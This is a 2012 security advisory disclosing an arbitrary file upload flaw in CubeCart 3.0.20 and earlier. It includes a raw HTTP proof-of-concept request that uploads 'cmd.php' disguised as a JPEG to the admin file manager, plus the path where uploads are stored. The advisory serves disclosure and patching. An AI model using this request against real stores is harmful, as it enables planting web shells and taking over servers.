CubeCart 3.0.20 (3.0.x) and lower | Arbitrary File Upload

By YGN Ethical Hacker Group -
1. OVERVIEW

CubeCart 3.0.20 and lower versions are vulnerable to Arbitrary File Upload.


2. BACKGROUND

CubeCart is an "out of the box" ecommerce shopping cart software
solution which has been written to run on servers that have PHP &
MySQL support. With CubeCart you can quickly setup a powerful online
store which can be used to sell digital or tangible products to new
and existing customers all over the world.


3. VULNERABILITY DESCRIPTION

CubeCart 3.0.20 and lower versions contain a flaw related to the
/admin/filemanager/upload.php script's failure to properly validate
uploaded files. This may allow a remote attacker to upload arbitrary
files and execute arbitrary code via a request to the 'atm-regen'
parameter.


4. VERSIONS AFFECTED

3.0.20 and lower (aka 3.0.x family)


5. PROOF-OF-CONCEPT/EXPLOIT

Set content type to image/jpeg and upload.
Uploaded files are stored at images/uploads.


/////////////////////////////////////////////////////////////////////
POST /admin/filemanager/upload.php HTTP/1.1
Host:localhost
Referer: http://localhost/cube/admin/filemanager/upload.php?custom=1&redir=0
Cookie: ccSIDb4c410adddf67168ce2ac0e2807326f8=f2c0bc69b813778a644b76c2b40c7ce0;
Content-Type: multipart/form-data;
boundary=---------------------------24464570528145
Content-Length: 29

-----------------------------24464570528145
Content-Disposition: form-data; name="FCKeditor_File"; filename="cmd.php"
Content-Type: image/jpeg

<?php info();?>

-----------------------------24464570528145
Content-Disposition: form-data; name="submit"

Upload Image
-----------------------------24464570528145
Content-Disposition: form-data; name="redir"

0
-----------------------------24464570528145
Content-Disposition: form-data; name="custom"

1
-----------------------------24464570528145--

///////////////////////////////////////////////////////////////


6. SOLUTION

The CubeCart 3.0.x version family is no longer maintained by the vendor.
Upgrade to the currently supported CubeCart version - 5.x.


7. VENDOR

CubeCart Development Team
http://cubecart.com/


8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2012-02-10: CubeCart 3.0.x in End-of-Support/Maintenance circle
2012-12-22: Vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5Bcubecart_3.0.20_3.0x%5D_arbitrary_file_upload
CubeCart Home Page: http://cubecart.com/


#yehg [2012-12-22]

---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd

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